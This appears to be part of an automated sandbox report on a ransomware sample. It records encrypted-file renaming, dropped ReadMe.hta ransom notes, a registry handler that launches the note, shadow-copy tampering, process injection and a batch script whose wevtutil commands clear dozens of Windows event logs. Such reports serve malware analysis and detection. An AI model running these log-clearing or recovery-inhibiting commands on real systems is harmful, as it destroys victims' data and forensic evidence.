File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FORMS\1033\SCDRESNL.ICO MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\fr\System.Data.Services.Client.resources.dll	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\dbghelp.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\pl-PL\View3d\3DViewerProductDescription-universal.xml	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteAppList.targetsize-20_altform-unplated.png	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailLargeTile.scale-125.png	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailMediumTile.scale-200.png	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Adobe.Reader.Dependencies.manifest	Explorer.EXE
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\coreclr.dll	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Staging	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ur.pak MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\ui-strings.js MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-96_altform-unplated.png	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.147.37\msedgeupdateres_ca-Es-VALENCIA.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\es\ReachFramework.resources.dll	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\psmachine.dll MLLUKULZ5.waiting	Explorer.EXE
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSectionGroupMedTile.scale-200.png	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\132.0.2957.140.manifest	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.147.37\msedgeupdateres_ja.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\OSFINTL.DLL MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Locales\id_FEMININE.pak MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.scale-400_contrast-black.png	Explorer.EXE
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ValueTuple.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\ui-strings.js	Explorer.EXE

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\rwjfk.bat	svchost.exe
File created	C:\windows\utox.exe	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
File created	C:\Windows\pghdn.txt	svchost.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1560	wevtutil.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2664	Process not Found

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\en = 0602000000a400005253413100080000010001005d55206a1b95b6466557984844bb8e9b590b887843f7c44fa8bf3f03191367ee2bc4fe0d6d7c85b2c292048856791eb82c5b053a563ca056d9ac39e56eecf80e78ded128dc4c3788df9480615aaf662e962c16e0abab966c0008b017397eb2c7f99acfd062fbbb01230baafa0be16b06cb5801045dd1b42a9159d7b19f1d300b2f26f3e07768def1d51ccb146976684ce2622750ac4280b88f9dbf4c3107a0f2b2f2e44099d609379a66cb22670e9b37431d46897fdf67eb46e8b7faf6a8588db06154f1326441bb405c85ef491655b3b1ae6b8bfecdd76633b66605cb4266caeacff081d074692e86ef773a6ba1271311f3602fd5b832ace7c8a76193e123c3	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\n = f2a1a01150d41e6b1bcf52730b20e98392023f5bf44dc67d181bb4898e8042d4eb401f52d5af15eba8f3732821afd0e7c663755564feaa7bcd3c42dcda9aad8eb3eb1e32de4c27ce2f73d78fadcc987ae1fe793ee347811535d96cfa4b76ac9a6e857e1a5108b7c63598c35e74a19096c06c03a15910a296e81cae9bf8cf5597b3ffba1f590bc3cee8aa45c569e8125397ef353e70131c6fac70d5959ebb722bfb961b6b3114f39cf7d704ceb8a871d4ad5c9b1af4900fb8e731af88b4cb3629657f7889c67d36f7ab86522e132d6ce5bdf33c4b03dc3393909ecf6858182bcde1fc2d19d9d7ca433ed12ec3a5d05aa208be2e0fdb86a336aadbe6d25ba90b10de24602a4dc4ac320a9e4674448589713e1cfa016d1fbc74b3d1c70b466097326cb2658c2447168cba65d9a60c725540535df0cfd8cf20e5d0a21c972889b6e91ab6b0984ba2132e36951a823480f708250f4ff0dadad3a123be218f082c9ca38ff6c8f0b7f7b6781aef6bfb2f123b5697189be389ab571cb3f76c8c229d1b923a3c2c832564dffbef0c89fa0a96d429aa1093e33ec04f0ed8eae504c463a115ea53a10643cb22b82e6fdd549f39b9bbfde2147177ef429b997ed67c68871bfa3d1f91dfce8b1312f035113f583c2866b71649920f6f007e9307885e928c956cd33a66f25c07cc09ed0f09be895508002bfcc351dbe9f4bdb0cd8c674234b046be3f760364d9233ca17d1da0c433f7cf0d222b1c375056efbcc3b7a936556b6192da392b7630cc9535a4632a60b9f999aac4eac2673c3ba46f512086e5c0303c983e050007a0c55408855202085060fbd30f13f5daf8a875c388947edf4c94876302532e474fb7e2dd41e895801aeee9d55aee996aa6c16604dc112b2627e8df39e10fd9d531f674a84dc67a9e6dc3e8cd28ebd747b1b753eb409bd8ef401d21c2424ab34d69b9b0e9b93162a9ffb4f462db52e6be1e7365a2cf0cf23a3275486d02a3668f0947d2f73abb8bab4b7b03f5778a345105644c6d51a279328f58bddef92d00d1f053458d468a733dd0a466c80181637ef10952dee344ea25c2be2e73165a8fb1e38c306b999c17af4fdc6b65e41c5194316f9b793e30984a4ee7360c1e08bf060916aebf4223076c0e743e040ec5cef580fc5c2670143a7f95a84eb498f7984a7b149e26cc196238a6add39b729a9fe05fc2f0ad396fbeb70ff1b64f8daf173ac3baf3a1cb5b401435132bab34c788aeb82b36395e8ff72114648913fec4ee8c5444af961451adbe2958e479f43aa4680fa1b843dc4145e26d465265f54034cb7eba63e128f626266a90e641942ecbe8415a99fb154831737d6c47f343ac6faf650e44b9637f24525868c18343cab032096116cbb053549d10623ffc4430048dce5d6faa5685461997d709d1f5cf49be30fc150a9b05c4aea47d982f51e95c423237b41abf6c5b1b1cb05b65b4639b2194f5e65219bd845dc0a6ae1d299206af87b404d73a673a1016b06437a084109f25b0e6c844f6d8533bd1c5dcef84d9e55215fa79264d1a5a9fa74a57702386ee9286a236c920550da746a6b88bd40f8b4434cc429b8f5b6144408789de6a0cd35e89488ab1f783d2fd45a9cb1803dbbfa51a5a7dd4925c452cd443a25ce81087725bae428be69ce899aec3a0d7f6012c2e5ce36623dfbf300c8d8132ab019e879914bac80dc4b293e27bf3b7bc22c487cb5f740e28da53aafae1ff2f6932cc2f0092ceb3b00ff9a748476efdefa8db12c3c3cb54a1207f7a193b3fe9b9c9057d79eb0bd9b2c0f6c449a4ba	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\ = "C:\\Windows\\System32\\mshta.exe \"C:\\ReadMe.hta\""	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2832	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
2832	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe
792	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3232	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Token: SeDebugPrivilege	792	svchost.exe
Token: SeSecurityPrivilege	3052	wevtutil.exe
Token: SeBackupPrivilege	3052	wevtutil.exe
Token: SeSecurityPrivilege	748	wevtutil.exe
Token: SeBackupPrivilege	748	wevtutil.exe
Token: SeSecurityPrivilege	860	wevtutil.exe
Token: SeBackupPrivilege	860	wevtutil.exe
Token: SeSecurityPrivilege	1152	wevtutil.exe
Token: SeBackupPrivilege	1152	wevtutil.exe
Token: SeSecurityPrivilege	4916	wevtutil.exe
Token: SeBackupPrivilege	4916	wevtutil.exe
Token: SeSecurityPrivilege	4040	wevtutil.exe
Token: SeBackupPrivilege	4040	wevtutil.exe
Token: SeSecurityPrivilege	3004	wevtutil.exe
Token: SeBackupPrivilege	3004	wevtutil.exe
Token: SeSecurityPrivilege	4620	wevtutil.exe
Token: SeBackupPrivilege	4620	wevtutil.exe
Token: SeSecurityPrivilege	2016	wevtutil.exe
Token: SeBackupPrivilege	2016	wevtutil.exe
Token: SeSecurityPrivilege	3536	wevtutil.exe
Token: SeBackupPrivilege	3536	wevtutil.exe
Token: SeSecurityPrivilege	4676	wevtutil.exe
Token: SeBackupPrivilege	4676	wevtutil.exe
Token: SeSecurityPrivilege	2280	wevtutil.exe
Token: SeBackupPrivilege	2280	wevtutil.exe
Token: SeSecurityPrivilege	992	wevtutil.exe
Token: SeBackupPrivilege	992	wevtutil.exe
Token: SeSecurityPrivilege	4700	wevtutil.exe
Token: SeBackupPrivilege	4700	wevtutil.exe
Token: SeSecurityPrivilege	2724	wevtutil.exe
Token: SeBackupPrivilege	2724	wevtutil.exe
Token: SeSecurityPrivilege	4412	wevtutil.exe
Token: SeBackupPrivilege	4412	wevtutil.exe
Token: SeSecurityPrivilege	2384	wevtutil.exe
Token: SeBackupPrivilege	2384	wevtutil.exe
Token: SeSecurityPrivilege	2656	wevtutil.exe
Token: SeBackupPrivilege	2656	wevtutil.exe
Token: SeSecurityPrivilege	4000	wevtutil.exe
Token: SeBackupPrivilege	4000	wevtutil.exe
Token: SeSecurityPrivilege	7080	wevtutil.exe
Token: SeBackupPrivilege	7080	wevtutil.exe
Token: SeSecurityPrivilege	7108	wevtutil.exe
Token: SeBackupPrivilege	7108	wevtutil.exe
Token: SeSecurityPrivilege	5468	wevtutil.exe
Token: SeBackupPrivilege	5468	wevtutil.exe
Token: SeSecurityPrivilege	6500	wevtutil.exe
Token: SeBackupPrivilege	6500	wevtutil.exe
Token: SeSecurityPrivilege	6872	wevtutil.exe
Token: SeBackupPrivilege	6872	wevtutil.exe
Token: SeSecurityPrivilege	2384	wevtutil.exe
Token: SeBackupPrivilege	2384	wevtutil.exe
Token: SeSecurityPrivilege	4380	wevtutil.exe
Token: SeBackupPrivilege	4380	wevtutil.exe
Token: SeSecurityPrivilege	5344	wevtutil.exe
Token: SeBackupPrivilege	5344	wevtutil.exe
Token: SeSecurityPrivilege	5536	wevtutil.exe
Token: SeBackupPrivilege	5536	wevtutil.exe
Token: SeSecurityPrivilege	5556	wevtutil.exe
Token: SeBackupPrivilege	5556	wevtutil.exe
Token: SeSecurityPrivilege	4868	wevtutil.exe
Token: SeBackupPrivilege	4868	wevtutil.exe
Token: SeSecurityPrivilege	5260	wevtutil.exe
Token: SeBackupPrivilege	5260	wevtutil.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE
3232	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 792	2832	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe	10
PID 2832 wrote to memory of 792	2832	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe	10
PID 792 wrote to memory of 2000	792	svchost.exe	87
PID 792 wrote to memory of 3232	792	svchost.exe	55
PID 2000 wrote to memory of 4448	2000	cmd.exe	89
PID 4448 wrote to memory of 3052	4448	cmd.exe	90
PID 2000 wrote to memory of 748	2000	cmd.exe	91
PID 2000 wrote to memory of 860	2000	cmd.exe	92
PID 2000 wrote to memory of 1152	2000	cmd.exe	93
PID 2000 wrote to memory of 4916	2000	cmd.exe	94
PID 2000 wrote to memory of 4040	2000	cmd.exe	95
PID 2000 wrote to memory of 3004	2000	cmd.exe	96
PID 2000 wrote to memory of 4620	2000	cmd.exe	97
PID 2000 wrote to memory of 2016	2000	cmd.exe	98
PID 2000 wrote to memory of 3536	2000	cmd.exe	99
PID 2000 wrote to memory of 4676	2000	cmd.exe	100
PID 2000 wrote to memory of 2280	2000	cmd.exe	101
PID 2000 wrote to memory of 992	2000	cmd.exe	102
PID 2000 wrote to memory of 4700	2000	cmd.exe	103
PID 2000 wrote to memory of 2724	2000	cmd.exe	104
PID 2000 wrote to memory of 4412	2000	cmd.exe	105
PID 2000 wrote to memory of 2384	2000	cmd.exe	115
PID 2000 wrote to memory of 2656	2000	cmd.exe	159
PID 2000 wrote to memory of 4000	2000	cmd.exe	108
PID 2000 wrote to memory of 7080	2000	cmd.exe	109
PID 2000 wrote to memory of 7108	2000	cmd.exe	248
PID 792 wrote to memory of 5292	792	svchost.exe	111
PID 2000 wrote to memory of 5468	2000	cmd.exe	112
PID 2000 wrote to memory of 6500	2000	cmd.exe	113
PID 2000 wrote to memory of 6872	2000	cmd.exe	114
PID 2000 wrote to memory of 2384	2000	cmd.exe	115
PID 2000 wrote to memory of 4380	2000	cmd.exe	225
PID 2000 wrote to memory of 5344	2000	cmd.exe	117
PID 2000 wrote to memory of 5536	2000	cmd.exe	118
PID 2000 wrote to memory of 5556	2000	cmd.exe	119
PID 2000 wrote to memory of 4868	2000	cmd.exe	120
PID 2000 wrote to memory of 5260	2000	cmd.exe	284
PID 2000 wrote to memory of 5228	2000	cmd.exe	122
PID 2000 wrote to memory of 628	2000	cmd.exe	290
PID 2000 wrote to memory of 5588	2000	cmd.exe	124
PID 2000 wrote to memory of 5604	2000	cmd.exe	245
PID 2000 wrote to memory of 5800	2000	cmd.exe	126
PID 2000 wrote to memory of 5824	2000	cmd.exe	127
PID 2000 wrote to memory of 5888	2000	cmd.exe	128
PID 2000 wrote to memory of 5940	2000	cmd.exe	129
PID 2000 wrote to memory of 6036	2000	cmd.exe	157
PID 2000 wrote to memory of 1912	2000	cmd.exe	177
PID 2000 wrote to memory of 3532	2000	cmd.exe	527
PID 2000 wrote to memory of 5708	2000	cmd.exe	133
PID 2000 wrote to memory of 3812	2000	cmd.exe	538
PID 2000 wrote to memory of 6596	2000	cmd.exe	135
PID 2000 wrote to memory of 5648	2000	cmd.exe	136
PID 2000 wrote to memory of 3492	2000	cmd.exe	380
PID 2000 wrote to memory of 5676	2000	cmd.exe	138
PID 2000 wrote to memory of 6364	2000	cmd.exe	139
PID 2000 wrote to memory of 620	2000	cmd.exe	140
PID 2000 wrote to memory of 4548	2000	cmd.exe	381
PID 2000 wrote to memory of 1892	2000	cmd.exe	142
PID 2000 wrote to memory of 6168	2000	cmd.exe	143
PID 2000 wrote to memory of 4728	2000	cmd.exe	228
PID 2000 wrote to memory of 3832	2000	cmd.exe	545
PID 2000 wrote to memory of 4132	2000	cmd.exe	231
PID 2000 wrote to memory of 5916	2000	cmd.exe	147
PID 2000 wrote to memory of 1032	2000	cmd.exe	148

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Deletes itself
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\rwjfk.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wevtutil.exe el
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Windows\system32\wevtutil.exe
      wevtutil.exe el
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "AMSI/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "AirSpaceChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Application"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "DirectShowFilterGraph"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "DirectShowPluginControl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Els_Hyphenation/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "EndpointMapper"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "FirstUXPerf-Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "ForwardedEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "General Logging"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "HardwareEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "IHM_DebugChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Internet Explorer"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Key Management Service"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6500
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6872
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationFrameServer"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProc"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4380
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProcD3D"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationAsyncWrapper"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationContentProtection"
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDS"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDeviceProxy"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMP4"
    3⤵
    PID:5228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMediaEngine"
    3⤵
    PID:628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformance"
    3⤵
    PID:5588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformanceCore"
    3⤵
    PID:5604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPipeline"
    3⤵
    PID:5800
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPlatform"
    3⤵
    PID:5824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationSrcPrefetch"
    3⤵
    PID:5888
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client-Streamingux/Debug"
    3⤵
    PID:5940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Admin"
    3⤵
    PID:6036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Debug"
    3⤵
    PID:1912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Operational"
    3⤵
    PID:3532
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Virtual Applications"
    3⤵
    PID:5708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-SharedPerformance/Analytic"
    3⤵
    PID:3812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Admin"
    3⤵
    PID:6596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Debug"
    3⤵
    PID:5648
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Diagnostic"
    3⤵
    PID:3492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IE/Diagnostic"
    3⤵
    PID:5676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
    3⤵
    PID:6364
